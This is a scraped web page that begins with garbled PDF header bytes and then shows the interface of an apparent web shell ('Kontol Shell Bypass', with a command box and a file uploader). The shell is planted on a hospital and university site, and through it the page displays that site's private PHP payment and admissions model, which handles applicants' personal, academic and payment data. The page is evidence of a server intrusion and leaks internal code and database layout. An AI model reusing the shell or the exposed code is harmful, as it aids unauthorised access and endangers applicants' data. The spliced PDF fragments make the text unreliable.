%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/Pay_model.php
<?php 
class Pay_model extends CI_Model {
	function trans_dtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("pay_trans", array('id'=>$id))->row_array();
		return $rs;
    }
    
    function addLeadToPS($app_id, $tooracle=true){
        $isPhd=$this->common->isPhd(0, $app_id);

        $this->db->select("A.id, A.campus_id, A.applicant_id, A.application_no, A.step_completed, A.updated AS leadUpdated, PP.title AS plan, P.title AS program, 
        AC.title AS ac, PT.title AS program_type, PP.ac_code, PP.program_code AS prgCode, PP.code AS planCode, U.name, U.email, U.mob, U.dob, U.gender, U.address, 
        U.city, U.pincode, S.title AS state, S.code AS stateCode, U.verified_by, U.father_name, U.utm_source, U.identity_proof, U.identity_proof_no, U.profile_pic, U.is_phd,
        ED.board_10th, B10.ps_code AS ps_code_b10, M10.title AS marking_scheme_10, M10.ps_code AS ps_code_m10, ED.marks_10th, ED.passing_year_10th, 
        ED.board_12th, B12.ps_code AS ps_code_b12, M12.title AS marking_scheme_12, M12.ps_code AS ps_code_m12, ED.marks_12th, ED.passing_year_12th, 
        ED.board_dip, DIP.ps_code AS ps_code_bdip, MDIP.title AS marking_scheme_dip, MDIP.ps_code AS ps_code_mdip, ED.marks_dip, ED.passing_year_dip, 
        ED.university_ug, UUG.ps_code AS ps_code_uug, MUG.title AS marking_scheme_ug, MUG.ps_code AS ps_code_mug, ED.marks_ug, passing_year_ug, 
        ED.university_pg, UPG.ps_code AS ps_code_upg, MPG.title AS marking_scheme_pg, MPG.ps_code AS ps_code_mpg, ED.marks_pg, passing_year_pg, 
        CT.title AS cat, CT.ps_code AS ps_code_cat, RL.title AS religion, RL.ps_code AS ps_code_religion,
        LP.title AS lpage, A.payment_status, A.payment_mode, A.cash_order_id, CC.amount cash_amt, 
        PTRANS.pay_order_id, PTRANS.txn_id, PTRANS.txn_status, PTRANS.txn_amt")
        
		->from("applications AS A")
		->join("applicants AS U", "U.id=A.applicant_id")
		->join("master_states AS S", "S.id=U.state_id")
		->join("landing_pages AS LP", "LP.id=U.lpage_id")
		->join("master_program_plans AS PP", "PP.id=A.plan_id")
		->join("master_programs AS P", "P.id=PP.program_id")
		->join("master_academic_careers AS AC", "AC.id=P.ac_id")
        ->join("master_program_types AS PT", "PT.id=P.type_id");

        if($isPhd){
            $this->db->join("phd_app_form ED", "ED.app_id=A.id", "LEFT");
        }else{
            $this->db->join("applicants_edu_details ED", "ED.applicant_id=U.id", "LEFT");
        }

        $this->db
        ->join("master_edu_boards AS B10", "B10.id=ED.board_id_10th", "LEFT")
        ->join("master_marking_schemes AS M10", "M10.id=ED.marking_scheme_id_10th", "LEFT")
        ->join("master_edu_boards AS B12", "B12.id=ED.board_id_12th", "LEFT")
        ->join("master_marking_schemes AS M12", "M12.id=ED.marking_scheme_id_12th", "LEFT")
        ->join("master_edu_boards AS DIP", "DIP.id=ED.board_id_dip", "LEFT")
        ->join("master_marking_schemes AS MDIP", "MDIP.id=ED.marking_scheme_id_dip", "LEFT")
        ->join("master_universities AS UUG", "UUG.id=ED.university_id_ug", "LEFT")
        ->join("master_marking_schemes AS MUG", "MUG.id=ED.marking_scheme_id_ug", "LEFT")
        ->join("master_universities AS UPG", "UPG.id=ED.university_id_pg", "LEFT")
        ->join("master_marking_schemes AS MPG", "MPG.id=ED.marking_scheme_id_pg", "LEFT")

        ->join("master_applicat_cats AS CT", "CT.id=U.cat_id", "LEFT")
        ->join("master_applicat_religions AS RL", "RL.id=U.religion_id", "LEFT")
        ->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
        ->join("cash_collections CC", "CC.application_id=A.id", "LEFT");

        $dtl=$this->db->where("A.id", $app_id)->get()->row_array();
        
        if(!$dtl){
            return;
        }
        if($dtl['is_phd']){
            //return;
        }

        /* if($dtl['ac']!='Doctoral'){
            return;
        } */
        if($dtl['campus_id']!='1'){
            return;
        }
        
        $name=explode(" ", $dtl['name']);
        $lastname=".";
        if(trim($name[1])){
            $lastname=trim(trim($name[1])." ".trim($name[2]));
        }

        if($dtl['payment_mode']=='CASH'){
            $dtl['txn_amt']=$dtl['cash_amt'];
        }

        if($dtl['step_completed']!=3){
            return;
        }

        $d=replace_null(array(
            'EMPLID'=>$dtl['application_no'],
            'REF1_DESCR'=>$dtl['payment_mode']=='CASH'?$dtl['cash_order_id']:$dtl['pay_order_id'],
            'FIRST_NAME'=>$name[0],
            'LAST_NAME'=>$lastname,
            'BIRTHDATE'=>$dtl['dob'],
            'PHONE'=>$dtl['mob'],
            'EMAIL_ADDR'=>$dtl['email'],
            'SEX'=>($dtl['gender']=='Male'?'M':($dtl['gender']=='Female'?'F':'U')),
            'ACAD_CAREER'=>$dtl['ac_code'],
            'ACAD_PROG'=>$dtl['prgCode'],
            'ACAD_PLAN'=>$dtl['planCode'],
            'SU_ADDRESS'=>$dtl['address'],
            'CITY'=>$dtl['city'],
            'STATE'=>$dtl['stateCode'],
            'POSTAL'=>$dtl['pincode'],
            'COUNTRY'=>'IND',
            'S_AD_APPL_TYPE'=>'N',
            'DATE1'=>$dtl['leadUpdated'],
            'NATIONAL_ID_TYPE'=>' ',
            'NATIONAL_ID'=>' ',
            'NID_SPECIAL_CHAR'=>' ',
            'S_CATEGORY_CD'=>$dtl['ps_code_cat'],
            'S_NAMES'=>$dtl['father_name'],
            'SU_RGN'=>$dtl['ps_code_religion'],
            
            'S_10_BOARD'=>$dtl['ps_code_b10'],
            'S_YEAR_OF_PASS_10'=>$dtl['passing_year_10th']?$dtl['passing_year_10th']:'',
            'SU_10_MARK_SCHEME'=>$dtl['ps_code_m10'],
            'SU_10_MARKS'=>$dtl['marks_10th'],

            'S_12_BOARD'=>$dtl['ps_code_b12'],
            'S_YEAR_OF_PASS_12'=>$dtl['passing_year_12th']?$dtl['passing_year_12th']:'',
            'SU_12_MARK_SCHEME'=>$dtl['ps_code_m12'],
            'SU_12_MARKS'=>$dtl['marks_12th'],

            'S_DIP_BOARD'=>$dtl['ps_code_bdip'],
            'S_YEAR_PASS_DIPLMA'=>$dtl['passing_year_dip']?$dtl['passing_year_dip']:'',
            'SU_DIP_MARK_SCHEME'=>$dtl['ps_code_mdip'],
            'SU_DIP_MARKS'=>$dtl['marks_dip'],

            'S_GRAD_UNIVERSITY'=>$dtl['ps_code_uug'],
            'S_YEAR_PASS_GRAD'=>$dtl['passing_year_ug']?$dtl['passing_year_ug']:'',
            'SU_GR_MARK_SCHEME'=>$dtl['ps_code_mug'],
            'SU_GR_MARKS'=>$dtl['marks_ug'],

            'S_PGRAD_UNIVERSITY'=>$dtl['ps_code_upg'],
            'S_YEAR_PASS_PGRAD'=>$dtl['passing_year_pg']?$dtl['passing_year_pg']:'',
            'SU_PG_MARK_SCHEME'=>$dtl['ps_code_mpg'],
            'SU_PG_MARKS'=>$dtl['marks_pg'],

            'AMT'=>$dtl['txn_amt'],
            'SU_PRCS_STATUS'=>'U',
            'ENTERED_DATETIME'=>$dtl['leadUpdated'],
            'LASTUPDOPRID'=>'LMS_USER',
            'LASTUPDDTTM'=>$dtl['leadUpdated'],
        ));

        foreach($d as $k=>$v){
            if(strlen($d[$k])==0){
                $d[$k]=' ';
            }
        }
        //$d['EMPLOYEE_PHOTO']=NULL;

        if(!$d['BIRTHDATE'] || $d['BIRTHDATE']==' ' || $d['BIRTHDATE']=='0000-00-00'){
            $d['BIRTHDATE']='';
        }

        if($this->db->select("EMPLID")->get_where("people_soft_tbl", array('EMPLID'=>$d['EMPLID']))->row()->EMPLID){
            $this->db->update("people_soft_tbl", $d, array('EMPLID'=>$d['EMPLID']));
        }else{
            $this->db->insert("people_soft_tbl", $d);
        }
        return;

        if(ENVIRONMENT=='production' && $tooracle){
            $d['COMMENT1']=' '; 
            $d['BIRTHDATE']=$d['BIRTHDATE']?strtoupper(date("d-M-y", strtotime($d['BIRTHDATE']))):'';
            $d['DATE1']=strtoupper(date("d-M-y", strtotime($d['DATE1'])));
            $d['ENTERED_DATETIME']=strtoupper(date("d-M-y h.i.s.000000000 A", strtotime($d['ENTERED_DATETIME'])));
            $d['LASTUPDDTTM']=strtoupper(date("d-M-y h.i.s.000000000 A", strtotime($d['LASTUPDDTTM'])));

            $this->oracle=$this->load->database("oracle", true);
            $this->oracle->db_debug=FALSE;
            if($this->oracle->select("EMPLID")->get_where("PS_SU_OLA_AT_STAG", array('EMPLID'=>$d['EMPLID']))->row()->EMPLID){
                //$this->oracle->update("PS_SU_OLA_AT_STAG", $d, array('EMPLID'=>$d['EMPLID']));
            }else{
                $this->oracle->insert("PS_SU_OLA_AT_STAG", $d);
            }
        }
    }
}

//End of file

Kontol Shell Bypass